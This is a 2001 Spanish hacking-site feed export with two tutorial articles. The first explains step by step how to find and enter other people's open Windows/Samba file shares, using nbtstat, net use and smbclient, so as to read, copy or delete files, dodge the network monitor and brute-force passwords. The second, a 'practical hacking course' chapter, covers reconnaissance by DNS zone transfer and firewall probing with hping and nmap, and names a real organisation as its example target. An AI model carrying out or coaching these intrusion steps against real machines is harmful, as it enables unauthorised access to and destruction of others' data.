<p>Antes de hacer nada, deberemos de activar nuestro cliente de NetBIOS, lo cual lo haremos dirigiendonos al Menu de inicio&#8211;&gt;Configuracion&#8211;&gt;Panel de control&#8211;&gt;Red Una vez que estamos en la ventana de red, daremos a &#8220;agregar&#8221; y seleccionamos &#8220;cliente&#8221; y de la ventana de los clientes disponibles seleccionamos &#8220;Cliente para redes Micrisoft&#8221;. Daremos ha aceptar cuantas veces requiera (lo mismo nos pide el CD de Windows) y lo terminamos de instalar. Con esto ya tendremos todas las herramientas que necesitamos. Notese que no hemos instalado el servicio, ya que seriamos vulnerables a ataques del tipo aqui descrito y a los diversos nukes.</p>
<p>Lo primero que hacemos es abrir una ventana de MS-DOS, y ejecutamos el comando nbtstat, que por su nombre os podeis imaginar para que sirve.</p>
<p>c:\&gt; nbtstat -A IP (donde IP es la ip del ordenador objetivo)</p>
<p>NetBios Remote Machine Name Table</p>
<p>Name type status<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>PARDILLO &lt;00&gt; UNIQUE Registered<br />
PARDILLOGROUP &lt;00&gt; GROUP Registered<br />
PARDILLO &lt;03&gt; UNIQUE Registered<br />
PARDILLO &lt;20&gt; UNIQUE Registered<br />
PARDILLOGROUP &lt;1E&gt; GROUP Registered<br />
PEPITO &lt;00&gt; UNIQUE Registered<br />
PEPITO &lt;1D&gt; UNIQUE Registered<br />
..__MSBROWSE__.. &lt;01&gt; GROUP Registered<br />
PEPITO &lt;03&gt; UNIQUE Registered</p>
<p>MAC Address = loquesea</p>
<p>Bueno, ahora y antes de nada pasare a explicar por encima que significa cada campo de esta tabla:</p>
<p>&lt;00&gt; UNIQUE: Quieren decir que la maquina tiene activado el cliente para NetBIOS, y que su nombre NetBIOS es el que pone en el campo Name, en este caso es PARDILLO.</p>
<p>&lt;00&gt; GROUP: Indica el Dominio o Grupo de trabajo.</p>
<p>&lt;03&gt; UNIQUE: Este tipo significa que el servicio de mensajeria esta activo (Messeger Service), os suenan los mensajes emerjentes (Win Popup)?, pues es eso. En las maquinas Win9x esta activo por defecto, por eso aparece el nombre Netbios de la maquina hay tambie, pero si nos fijamos mas abajo, tambien aparece con el nombre del usuario conectado en ese momento.</p>
<p>&lt;20&gt; UNIQUE: Este tipo nos indica que tiene el File Server Service activo, o sea esta compartiendo archivos e impresoras, bueno, que tiene el servicio activo, aunque se puede dar el caso de que no comparta nada.</p>
<p>&lt;1E&gt; GROUP: Quiere decir que tiene activado el servicio Browser Service Elections, este servicio se encarga de negociar quien va ha ser el Master Browser del Dominio o Grupo.</p>
<p>&lt;1D&gt; UNIQUE: Indica que esta configurado para ser el Master Browser, que es como quien dice, el encargado de recoger los nombres NetBIOS de los equipos de su Grupo.</p>
<p>&lt;01&gt; GROUP: Indica que posee el estatus de Master Browser en su Grupo de Trabajo y esta marcado con __MSBROWSE__. Esta particularidad es muy util para conseguir informacion del resto de la red, ya que el mantiene, como Master Browser que es, una tabla con todos los nombres NetBIOS de su Grupo de Trabajo y las direcciones IP que les corresponde.</p>
<p>&lt;1C&gt; GROUP: Indica que la maquina es controlador de dominio, bien un PDC o BDC, logicamente, solo veremos este campo en Win NT server o en Samba Server.</p>
<p>&lt;1B&gt; GROUP: Nos indica el nombre del Domain-Controler del que depende.</p>
<p>Hay mas tipos de campos, eso tengo entendido, pero a dia de hoy yo conozco estos.</p>
<p>Pues bien, como hemos visto tras el analisis de la tabla, los campos &lt;00&gt; UNIQUE y &lt;20&gt; UNIQUE nos muestran el nombre NetBIOS de la maquina, en este caso PARDILLO, y en las etiquetas &lt;03&gt; UNIQUE,que aparecen mas abajo, vemos el usuario que esta en el ordenador y donde pone &lt;00&gt; GROUP es el del grupo de trabajo/dominio en el que se ubica la maquina.</p>
<p>Â¿Que sacamos de aqui?, pues que tenemos el nombre netbios de la maquina, el grupo de trabajo en el que esta, quien lo usa y que comparte recursos.</p>
<p>Siguiente:</p>
<p>Editamos el archivo LMHOSTS, que esta en c:\windows y le aÃ±adimos a ip y el nombre de la maquina que hemos obtenido. Si no sabeis el formato del archivo LMHOSTS, editad el LMHOSTS.sam que es un ejemplo (tambien esta en el directorio windows).</p>
<p>Ahora ejecutamos ntbstat -R, para que cargue el nuevo LMHOST.</p>
<p>Seguimos, vamos a ver que es lo que comparte la maquina PARDILLO:</p>
<p>c:\&gt; net view \\PARDILLO</p>
<p>y nos saldra todo los recursos compartidos que tenga activos.</p>
<p>Hemos de notar aqui, como se comento antes, que aunque vieramos el Servidor de ficheros activo, podria darse el caso de que no tenga nada compartido.</p>
<p>Y ahora que ya sabemos los nombres de los recursos compartidos ya podemos utilizarlos <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' /> , simplemente:</p>
<p>c:\&gt; dir \\PARDILLO\cartas</p>
<p>y nos dira todo lo que hay en el recurso &#8220;cartas&#8221;, por ejemplo copy, o del, o type, lo que os de la gana, ya que en este caso, si no tiene contraseÃ±a, no nos pedira autentificacion.</p>
<p>Hasta aqui bien, hemos supuesto que el objetivo tambien es una maquina Win9X pero si es una maquina Win NT?, pues segun maneja NT el protocolo NetBIOS no nos dejaria entrar, ya que no corresponde el usuario que nuestro ordenador le facilita con ninguno de su base de datos de seguridad. Para ello utilizaremos el usuario que nos facilito el comando netstat y esta vez no nos quedara mas remedio que montar la unidad de red de la siguiente manera:</p>
<p>c:\&gt; net use d: \\PARDILLO\cartas /USER:dominio\usuario</p>
<p>Donde en este caso he utilizado la unidad &#8220;d&#8221;, pero podeis utilizar cualquier letra que tengais libre.</p>
<p>El parametro que hemos dado &#8220;/USER:dominio\usuario&#8221; sirve para especificar con que usuario nos conectamos, normalmente el campo &#8220;dominio&#8221; os lo saltareis, pero habra veces que sin el no deje conectarse. Es buena idea utilizar lo que aparecia en el netstat como grupo en este campo. En &#8220;usuario&#8221; pondremos el usuario anteriormente citado.</p>
<p>Â¿y porque no &#8220;conectarse a unidad de red&#8221;? pensara alguno, pues porque si lo hacemos asi apareceremos en el monitor de red, y supongo que no es agradable Â¿verdad? X&#8217;DDD, en el caso del NT, deberemos correr el riesgo (Â¿o quiza no?).</p>
<p>DESDE LINUX:</p>
<p>Bueno, realizar la conexion desde Linux, viene a ser el mismo procedimiento pero usando distintos comandos. Antes de nada, debereis tener instalado el paquete &#8220;Samba&#8221;, el cual nos permite la conectividad con el protocolo NetBIOS sobre IP, ademas de que como servidor es excelente, segun lo veo yo. Tambien necesitareis el &#8220;nbtscan&#8221;, es un programa muy util, que hace la funcion del netstat de MS-DOS, pero contando con mas mejoras.</p>
<p>Empezaremos por averiguar el nombre NetBIOS del la IP que es nuestro objetivo y su grupo de trabajo, y de paso sacaremos mas datos de interes.</p>
<p>Para ello haremos lo siguiente desde una consola:</p>
<p>[crino@CrinO]$ nbtscan -vh IP<br />
Doing NBT name scan for adresses from IP</p>
<p>NetBIOS Name Table for Host IP:</p>
<p>Name Service Type<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
PARDILLO Workstation Service<br />
PARDILLOGROUP Domain Name<br />
PARDILLO Messenger Service<br />
PARDILLO File Server Service<br />
PARDILLOGROUP Browser Service Elections<br />
PARDILLO Messenger Service</p>
<p>Adapter address: la mac que sea<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-</p>
<p>Como vemos, en este caso, el nbscan, con la opcion -h (human readable) nos ayuda a interpretar cada cosa.</p>
<p>El campo &#8220;Workstation Service&#8221;, es el campo que con el netstat de MS-DOS veiamos como &lt;00&gt; UNIQUE, para ver la tabla en ese formato solo tenemos que llamar a nbtscan sin la opcion -h, y este campo es el nombre NetBIOS que buscabamos como se comento antes. Tambien hemos de notar, que el tipo &lt;03&gt; UNIQUE que hay al final y que nbtscan nos muestra como &#8220;Messeger Service&#8221;, es el nombre del usuario conectado a la maquina, para ver esto mas claramente sera suficiente con que hagamos:</p>
<p>[crino@CrinO]$ nbtscan IP<br />
Doing NBT name scan for adresses from IP</p>
<p>IP address NetBIOS Name Server User MAC address<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;<br />
IP PARDILLO PARDILLO La MAC que sea</p>
<p>Como vemos, en este caso coinciden el nombre de la maquina y el usuario conectado, esto pasa cuando no se han definido usuarios en un Win/9x, pero que si los hubiera, probablemente no coincidirian.</p>
<p>Como podemos observar, el nbtscan nos indica que tiene el servidor de ficheros activado, pues observamos &#8220;File Server Service&#8221; (&lt;20&gt; UNIQUE), entonces seguramente estara compartiendo algo, ahora pasemos a ver que comparte, para ello usaremos el cliente en modo texto del paquete Samba, que se asimila mucho a un cliente FTP:</p>
<p>[crino@CrinO]$ smbclient -L //PARDILLO -I IP<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0) :reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Got a positive name query response from 10.10.10.11 ( 10.10.10.11 )<br />
Password:</p>
<p>Sharename Type Comment<br />
&#8212;&#8212;&#8212; &#8212;- &#8212;&#8212;-<br />
C Disk<br />
IPC$ IPC Comunicaci&#8221;n remota entre procesos</p>
<p>Server Comment<br />
&#8212;&#8212;&#8212; &#8212;&#8212;-</p>
<p>Workgroup Master<br />
&#8212;&#8212;&#8212; &#8212;&#8212;-<br />
PARDILLOGROUP PARDILLO</p>
<p>Ya tenemos todos los datos necesarios, sabemos como se llama, su IP, su Grupo/Dominio y que comparte, ya podemos intentar conectarnos, para lo cual usaremos de nuevo el smbclient:</p>
<p>[root@CrinO /root]# smbclient //PARDILLO/c<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0)<br />
:reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Password:<br />
smb: \&gt;</p>
<p>Y ya estamos dentro, cuando el smbclient nos pida la password, simplemente daremos al intro, tambien si le expecificamos el parametro -N no nos pedira la pass. El manejo del cliente es similar a un cliente de ftp, para mas informacion &#8220;man smbclient&#8221;.</p>
<p>Una vez aqui, volvemos a lo de antes, el caso de que sea un NT y no un win9x, lo cual requerira que le especifiquemos el usuario y Dominio (o Grupo de Trabajo):</p>
<p>[root@CrinO /root]# smbclient //PARDILLO/c -U PARDILLO -W PARDILLOGROUP<br />
SSL: Error error setting CA cert locations: error:00000000::lib(0) :func(0)<br />
:reason(0)<br />
trying default locations.<br />
added interface ip=10.10.10.10 bcast=10.10.10.127 nmask=255.255.255.240<br />
added interface ip=192.168.100.1 bcast=192.168.100.255 nmask=255.255.255.0<br />
Password:<br />
smb: \&gt;</p>
<p>Como se observa facilmente, las opciones para especificar usuario y grupo son -U y -W respecticamente.</p>
<p>Caso Segundo:SIN CONTRASEÃ‘A</p>
<p>En el caso de que los recursos se encuentren con contraseÃ±a, deberemos utilizar otras tecnicas para llegar al caso uno.</p>
<p>Para conseguir la contraseÃ±a podemos recurrir a gran cantidad de programas que corren por la red, los cuales lo unico que hacen como norma general es un ataque por fuerza bruta. Ejemplo de este tipo de programa es el CAIN.</p>
<p>Otra tecnica mas &#8220;sutil&#8221; y avanza, de la cual no es proposito este texto, es aplicar sniffing y spoofing, tecnicas que solo pueden ser utilizadas en escenarios muy concretos o es posible usar algun bug del proceso de autentificacion en el caso de win95/98, los cuales han sido ya documentados.</p>
<p>En el caso de Win NT/2000, podremos continuar intentando los clasicos ataques por fuerza bruta al recurso, o a la hora de sniffar usar un crackeador de MD5 por fuerza bruta, ya que este es el metodo de encriptacion que usa esta plataforma. Tambien hay que tener en cuenta que cuando tratamos con Dominios de NT, deberemos ser autentificados previamente por un PDC o BDC&#8230;aunque tambien hay documentos mas avanzados en la red que explican vulnerabilidades de estos procesos&#8230;pero eso es otra historia <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p><a class="a2a_dd addtoany_share_save" href="http://www.addtoany.com/share_save"><img src="http://www.hackindex.com/wp-content/plugins/add-to-any/share_save_171_16.gif" width="171" height="16" alt="Share/Bookmark"/></a> </p>

<p>No related posts.</p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://www.hackindex.com/index.php/2001/06/recursos-compartidos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Curso prÃ¡ctico de hacking (CPH) II</title>
		<link>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/</link>
		<comments>http://www.hackindex.com/index.php/2001/06/curso-practico-de-hacking-cph-ii/#comments</comments>
		<pubDate>Fri, 15 Jun 2001 22:10:49 +0000</pubDate>
		<dc:creator>Lecter</dc:creator>
				<category><![CDATA[Acceso a las cosas remotas]]></category>
		<category><![CDATA[Articulos]]></category>
		<category><![CDATA[Cursos]]></category>
		<category><![CDATA[axfr]]></category>
		<category><![CDATA[cortafuegos]]></category>
		<category><![CDATA[cph]]></category>
		<category><![CDATA[curso de hacking]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[escanear]]></category>
		<category><![CDATA[escaner]]></category>
		<category><![CDATA[finger]]></category>
		<category><![CDATA[firewall]]></category>
		<category><![CDATA[fping]]></category>
		<category><![CDATA[George Kutz]]></category>
		<category><![CDATA[hackeando]]></category>
		<category><![CDATA[hackindex]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking exposed]]></category>
		<category><![CDATA[host]]></category>
		<category><![CDATA[hping]]></category>
		<category><![CDATA[icmp]]></category>
		<category><![CDATA[lecter]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[netcat]]></category>
		<category><![CDATA[nfs]]></category>
		<category><![CDATA[nis]]></category>
		<category><![CDATA[nmap]]></category>
		<category><![CDATA[nslookup]]></category>
		<category><![CDATA[ping]]></category>
		<category><![CDATA[queso]]></category>
		<category><![CDATA[rpc]]></category>
		<category><![CDATA[scan]]></category>
		<category><![CDATA[scanner]]></category>
		<category><![CDATA[showmount]]></category>
		<category><![CDATA[Stuart McClure]]></category>
		<category><![CDATA[traceroute]]></category>
		<category><![CDATA[transferencia de zona]]></category>
		<category><![CDATA[unix]]></category>
		<category><![CDATA[whois]]></category>

		<guid isPermaLink="false">http://www.hackindex.com/?p=204</guid>
		<description><![CDATA[##################################### ## HACKINDEX ## ## http://www.hackindex.org ## ##################################### Titulo: Curso prÃ¡ctico de hacking II Autor: Lecter Tema: Acceso a las cosas remotas La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n. El siguiente documento es propiedad de HackIndex y de [...]


No related posts.

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>#####################################<br />
## HACKINDEX ##<br />
## <a href="http://www.hackindex.org">http://www.hackindex.org</a> ##<br />
#####################################<br />
Titulo: Curso prÃ¡ctico de hacking II<br />
Autor: Lecter<br />
Tema: Acceso a las cosas remotas</p>
<p>La informaciÃ³n incluÃ­da en este documento es expuesta en base a un interÃ©s educativo. HackIndex no se hace responsable del uso de dicha informaciÃ³n.</p>
<p>El siguiente documento es propiedad de HackIndex y de su autor, pudiendo ser distribuÃ­do de forma totalmente libre y sobre cualquier tipo de soporte siempre y cuando se respete el formato original, se cite a A.H.E. como fuente, se incluya un enlace actualizado al documento o a la web del grupo: <a href="http://www.hackindex.org">http://www.hackindex.org</a> ; y se incluya este disclaimer en su totalidad y sin modificaciÃ³n alguna.</p>
<p>Queda extrictamente prohibida su distribuciÃ³n con fines lucrativos, cuando se altere su contenido sin consentimiento o cuando se incumpla cualquier otra condicion citada anteriormente en el presente disclaimer.<br />
#####################################</p>
<p>CURSO PRACTICO DE HACKING&#8211;2a entrega</p>
<p>Queridos compaÃ±eros (exploradores y novatos con ganas de aprender):</p>
<p>Como osÂ  prometi aqui teneis elÂ  segundo capitulo delÂ  CPH, que espero<br />
queÂ  pueda servirosÂ  a abrirÂ  laÂ  brecha delÂ  estudio autodidactaÂ  con<br />
algunosÂ  consejillos yÂ  notas.Â  Antes deÂ  comenzarÂ  con esteÂ  capitulo<br />
quiero recalcar que el objetivo de este &#8220;seminario&#8221; de hacking intenta<br />
ilustrar los modos de conseguir introducirnos en una maquina unix cuya<br />
seguridad ha sido comprometida,Â  generalmente por una mala gestion del<br />
administrador,Â  que muchasÂ  veces pasaÂ  olimpicamente delÂ  sistema que<br />
debe cuidarÂ  como Cancerbero.Â  En ningun casoÂ  he queridoÂ  arrastrar a<br />
nadieÂ  al empleo deÂ  este conocimientoÂ  para oscurosÂ  propositos, sino<br />
para impulsarÂ  a los estudiantes novatosÂ  a llevar losÂ  sistemas a sus<br />
ultimasÂ  posibilidadesÂ  yÂ  noÂ  comoÂ  merosÂ  usuariosÂ  finales.AsiÂ  que<br />
=A1abstenerse los lamers!</p>
<p>En este sentido, ha salido esteÂ  mes en la revista @rroba un excelente<br />
articulo deÂ  Carlos Sanchez AlmeidaÂ  titulado &#8220;Hackers deÂ  plastico&#8221; y<br />
aunque cortoÂ  merece la pena que loÂ  leais. Al igual queÂ  a finales de<br />
los setenta seÂ  acuÃ±aba el termino &#8220;punkies deÂ  plastico&#8221; para seÃ±alar<br />
que debajo de la mascarada de tachuelas y cuero, aquellos punkies eran<br />
tan burgueses como sus papis, los hackers de plastico son aquellos que<br />
seÂ  han erigidoÂ  como arquetipoÂ  de laÂ  revolucion moderna:Â  el hacker<br />
televisivo, cruce de Neo y elÂ  padre Apeles. Pero ya sabeis: con lo de<br />
hackerÂ  ocurreÂ  loÂ Â  mismoÂ  queÂ  conÂ  quienesÂ  seÂ Â  dicenÂ  rosacruzÂ  o<br />
sufi&#8230;Ciertamente no lo son. UnÂ  hacker de verdad &#8220;jamas se colocaria<br />
un piercing para aparentar: loÂ  unico que agujerean es el sistema&#8221;. El<br />
hacking es un camino duro y dificil, &#8220;que implica muchas renuncias. La<br />
primera yÂ  la masÂ  importante es laÂ  que diferenciaÂ  verdaderamente al<br />
hacker del lamer: la renuncia al ego&#8230;&#8221;</p>
<p>YÂ  ahora vamosÂ  con nuestroÂ  asunto. AntesÂ  de entrarÂ  de llenoÂ  en el<br />
capitulo 2 quiero aclarar algoÂ  a los estudiantes del primer capitulo:<br />
LasÂ  utilidades whois, traceroute,Â  host, pingÂ  y nslookupÂ  las debeis<br />
tenerÂ  en cualquierÂ  sistema linuxÂ  queÂ  monteis. LasÂ  podeis usarÂ  en<br />
consolaÂ  o en unÂ  xterm. AlgunasÂ  como tracerouteÂ  hay queÂ  usarlas en<br />
ciertas distros linux como root, pero en otras no. Evidentemente antes<br />
habreis de conectaros <img src='http://www.hackindex.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  y siÂ  sois novatillos el paquete kppp de KDE<br />
se pareceÂ  muchisimo al procedimientoÂ  de conexion telefonicaÂ  a redes<br />
del Windoze. UnaÂ  vez conectados podeis abrir xtermsÂ  en el escritorio<br />
KDE o pasarosÂ  con Alt-Ctrl-Fx a una consolaÂ  (Volvereis al escritorio<br />
conÂ  Alt-Ctrl-F7).Â  OtrasÂ  utilidadesÂ Â  teneisÂ  queÂ  buscarlasÂ  enÂ  la<br />
red.Â  Para elloÂ  basta conÂ  <a href="http://www.altavista.com">www.altavista.com</a> yÂ  <a href="http://www.alltheweb.com">www.alltheweb.com</a> que<br />
contiene un buscador FAST FTP yÂ  WEB y una dosis minima de ingenio. De<br />
todos modos os dire donde podeis descargar las herramientas:</p>
<p>-fping en <a href="http://www.stanford.edu/~schemers/docs/fping/fping.html">www.stanford.edu/~schemers/docs/fping/fping.html</a><br />
-nmap en <a href="http://www.insecure.org/nmap/">www.insecure.org/nmap/</a><br />
-netcat en <a href="http://www.l0pht.com/~weld/netcat/">www.l0pht.com/~weld/netcat/</a><br />
-queso en <a href="ftp://ftp.connect.net/pub/security/trinux/netmap/">ftp.connect.net/pub/security/trinux/netmap/</a></p>
<p>Espero que continueis en la brecha</p>
<p>Saludos,</p>
<p>LECTER</p>
<p>CPH. CAPITULO 2. EXTRACCION DE INFORMACION CRITICA DEL OBJETIVO</p>
<p>En esteÂ  capitulo nos vamos aÂ  centrar en laÂ  obtencion de informacion<br />
criticaÂ  queÂ  luegoÂ  podraÂ  serÂ  explotada paraÂ  introducirnosÂ  enÂ  el<br />
sistema. La informacion critica se basa siempre en algun compromiso en<br />
laÂ  seguridadÂ  deÂ  unÂ  servicio,Â  unÂ  bugÂ  (fallo)Â  deÂ  algunÂ  comando<br />
relacionado con los servicios, etc. Para este capitulo me he basado en<br />
unÂ Â  libroÂ  muyÂ Â  utilÂ Â  queÂ  acabaÂ Â  deÂ Â  salirÂ  alÂ Â  mercado:Hacking<br />
exposed;networkÂ  security secretsÂ  and solutions,Â  deÂ  Stuart McClure,<br />
George Kutz y otro mas (ya esta en espaÃ±ol).</p>
<p>1)InformacionÂ  critica obtenidaÂ  mediante &#8220;transferenciaÂ  deÂ  zona&#8221; de<br />
servidores DNSÂ  mal configurados.Â Â  Algunas veces nosÂ  encontramos con<br />
servidoresÂ  DNSÂ Â  configuradosÂ  deÂ Â  maneraÂ  inseguraÂ  yÂ Â  queÂ  pueden<br />
permitirnos entrarÂ  en laÂ  llamada zona deÂ  transferencia deÂ  DNS, aun<br />
siendoÂ  usuariosÂ  deÂ Â  internetÂ  noÂ  autorizados.Â  PodemosÂ  intentarlo<br />
utilizando la instruccion nslookup en modo interactivo:</p>
<p>$&gt;nslookup</p>
<p>=2E..a continuacion aparecera el servidorÂ  DNS por defecto que sera el<br />
deÂ  nuestro ISPÂ  u organizacion&#8230;peroÂ  como queremosÂ  consultar otro,<br />
X.X.X.XÂ  (uno que correspondaÂ  a nuestroÂ  objetivo, comoÂ  obtuvimos al<br />
hacer whois transmeta.com) escribiremos</p>
<p>&gt;server X.X.X.X</p>
<p>a lo que respondera aceptandolo como &#8220;default&#8221;. A continuacion hacemos</p>
<p>&gt;set type=3Dany<br />
&gt;ls -d objetivo.net.&gt;&gt; fichero</p>
<p>LoÂ  que hemos hechoÂ  es definirÂ  el tipoÂ  de registroÂ  como cualquiera<br />
(any)Â Â  conÂ Â Â  loÂ Â  queÂ Â  podemosÂ Â  recuperarÂ Â Â  losÂ Â  registrosÂ Â  DNS<br />
disponibles.Â  LuegoÂ  losÂ  listamosÂ  yÂ  redirigimosÂ  aÂ  &#8220;fichero&#8221;Â  para<br />
consultarlo mas adelante.Â  Si ha habido suertecilla, cosa que dudo, al<br />
leer &#8220;fichero&#8221;, encontrariaisÂ  diversas entradas con varios registros,<br />
p.ej:</p>
<p>acct22Â Â  1D IN AÂ Â Â Â Â Â  192.168.230.3<br />
Â Â Â Â Â Â Â Â  1D IN HINFOÂ Â  &#8220;Gateway 2000&#8243; &#8220;Win WKGRPS&#8221;<br />
Â Â Â Â Â Â Â Â  1D IN MXÂ Â Â Â Â  0 acmeadmin-smtp<br />
Â Â Â Â Â Â Â Â  &#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.</p>
<p>El registro A indica laÂ  direccion IP de esta cuenta, HINFO identifica<br />
la plataforma oÂ  el sistema operativo y MX nosÂ  dice donde se gestiona<br />
el correo.Â  Existen masÂ  registros, pero noÂ  los voy aÂ  comentar. Esta<br />
informacion esÂ  muy valiosaÂ  porque nos daÂ  de golpeÂ  conocimiento del<br />
sistema operativo y gestor de correo (aparte de mucho mas). Existe una<br />
utilidad algoÂ  dificililla de encontrarÂ  buscando a las bravasÂ  por la<br />
red, que nos permite realizar transferencias de zona (cuando se puede)<br />
y transferirÂ  de maneraÂ  recursiva informacion deÂ  la zonaÂ  y archivos<br />
huespedes de cada uno deÂ  los dominios consultados. Tal herramienta es<br />
&#8220;axfr&#8221;Â Â Â Â Â Â Â Â  queÂ Â Â Â Â Â Â  laÂ Â Â Â Â Â Â  podeisÂ Â Â Â Â Â Â Â  encontrarÂ Â Â Â Â Â Â  en<br />
ftp=2Econnectnet.com/pub/security/trinux/netmap/axfr-0.5.2.tar.gz. Una<br />
vez instalado, hacemos como root</p>
<p>#&gt;axfr objetivo.net<br />
y saldran algunos mensajes<br />
axfr: Using default directory /root/axfrdb<br />
Found X.X.X.X name server for domain &#8216;objetivo.net&#8217;<br />
text deleted<br />
Received xxxx answers</p>
<p>Ya esta. Para consultar la base de datos basta con que hagais</p>
<p>#&gt;axfrcat objetivo.net</p>
<p>Pero como ya he dicho, no sera tan tordo el administrador de dejar mal<br />
configurado el servidor DNS.</p>
<p>2. =BFProtege algun cortafuegos nuestro objetivo?</p>
<p>Vamos unicamenteÂ  a comprobar si existe algunÂ  cortafuegos que proteja<br />
nuestroÂ  objetivo.Â  LaÂ  maneraÂ Â  deÂ  saltarseÂ  elÂ  cortafuegosÂ  yaÂ  la<br />
consideraremosÂ  enÂ Â  lasÂ  tecnicasÂ  deÂ  ataque,Â Â  puesÂ  ahoraÂ  estamos<br />
extrayendoÂ  informacionÂ  criticaÂ  solamente.Â  RecordandoÂ  laÂ  utilidad<br />
nmap, podemosÂ  usarla para descubrir cortafuegos.Â  Cuando nmap explora<br />
un host, no solamente dice si los puertos estan abiertos, sino tambien<br />
si estan &#8220;filtrados&#8221;. Un puerto filtradoÂ  en nmap indica que o bien no<br />
seÂ  recibio ningunÂ  paquete SYN/ACKÂ  o RST/ACKÂ  o bienÂ  seÂ  recibio un<br />
mensajeÂ  ICMPÂ  de destinoÂ  inalcanzableÂ  conÂ  codigo 13Â  (Cominicacion<br />
prohibida porÂ  el administrador).Â  Otra utilidad interesanteÂ  es hping<br />
(<a href="http://www.kyuzz.org/antirez">www.kyuzz.org/antirez</a>). Una vez instalada, hacemos como root</p>
<p>#&gt;hping objetivo.com -S -p (n=BA de puerto)</p>
<p>De este modo se envian paquetesÂ  TCP SYN al puerto destino y obtenemos<br />
informacion de losÂ  paquetes que regresan. Si elÂ  flag de respuesta es<br />
SA (SYN/ACK) quiereÂ  decir que el puerto destinoÂ  esta abierto y listo<br />
paraÂ  recibirÂ  conexion.Â  AÂ Â  vecesÂ  nosÂ  saleÂ  comoÂ  respuestaÂ  &#8220;ICMP<br />
unreachable type 13 from X.X.X.X&#8221; loÂ  que nos indica que X.X.X.X es el<br />
cortafuegos del objetivo.Â  No obstante si el resultadoÂ  de hping no da<br />
respuesta alguna puede ser que o bien el paquete se haya perdido en la<br />
red oÂ  que el cortafuegos loÂ  detenga. Si obtenemosÂ  una respuesta con<br />
flagÂ  RA (RST/ACK)Â  puede serÂ  queÂ  el cortafuegosÂ  haya rechazadoÂ  el<br />
paquete oÂ  puede que loÂ  haya dejado pasarÂ  por el puerto peroÂ  que el<br />
host objetivo noÂ  esta escuchando. Vamos a intentarÂ  ilustrarlo con un<br />
ejemplo.Â  Mi hostÂ  objetivo esÂ  la paginaÂ  web delÂ  Centro Informatico<br />
Cientifico deÂ  Andalucia, <a href="http://www.cica.es">www.cica.es</a>. VoyÂ  antes que nada aÂ  hacer un<br />
traceroute</p>
<p>$&gt;traceroute <a href="http://www.cica.es">www.cica.es</a><br />
Â<br />
Â 1Â  SEVI-X13.red.retevision.es (62.81.56.45)Â  134.694 msÂ  139.73 msÂ  139.866 ms<br />
Â 2Â  SEVI-R3.red.retevision.es (62.81.56.27)Â  139.931 msÂ  120.489 ms SEVI-R1.red.retevision.es (62.81.56.28)Â  129.317 ms<br />
Â 3Â  SEVI-R15.red.retevision.es (62.81.55.229)Â  139.938 msÂ  129.841 msÂ  119.956 ms<br />
Â 4Â  BARC-R16.red.retevision.es (62.81.125.3)Â  170.034 msÂ  149.872 msÂ  149=2E948 ms<br />
Â 5Â  ReteNAC.red.retevision.es (62.81.63.202)Â  139.926 msÂ  169.764 msÂ  159=2E934 ms<br />
Â 6Â  EspaNIX.red.retevision.es (62.81.8.146)Â  179.967 msÂ  179.872 msÂ  169.909 ms<br />
Â 7Â  ibernet.espanix.net (193.149.1.57)Â  170.042 msÂ  159.813 msÂ  149.953 ms<br />
Â 8Â  194.179.0.113 (194.179.0.113)Â  179.942 msÂ  159.778 msÂ  159.919 ms<br />
Â 9Â  A0-2-4.EB-Madrid00.red.rediris.es (130.206.224.77)Â  159.959 msÂ  199.853 msÂ  169.892 ms<br />
10Â  A1-0-1.EB-Sevilla1.red.rediris.es (130.206.224.10)Â  189.936 msÂ  189.926 msÂ  179.875 ms<br />
11Â  130.206.194.10 (130.206.194.10)Â  179.931 msÂ  169.96 msÂ  169.856 ms<br />
12Â  argantonio.cica.es (150.214.5.77)Â  189.97 ms *Â  180.02 ms</p>
<p>Â MuyÂ  bien,Â Â  elÂ  hostÂ  130.206.194.10Â  pareceÂ  serÂ Â  unÂ  enrutadorÂ  o<br />
cortafuegos que dirigeÂ  el trafico a argantonio.cica.es (<a href="http://www.cica.es">www.cica.es</a>).<br />
Ahora voy a utilizar laÂ  herramienta nmap para hacer una evaluacion de<br />
laÂ  topologiaÂ  deÂ  unaÂ  subred.Â  VoyÂ  aÂ  escanearÂ  porÂ  elÂ  puertoÂ  80<br />
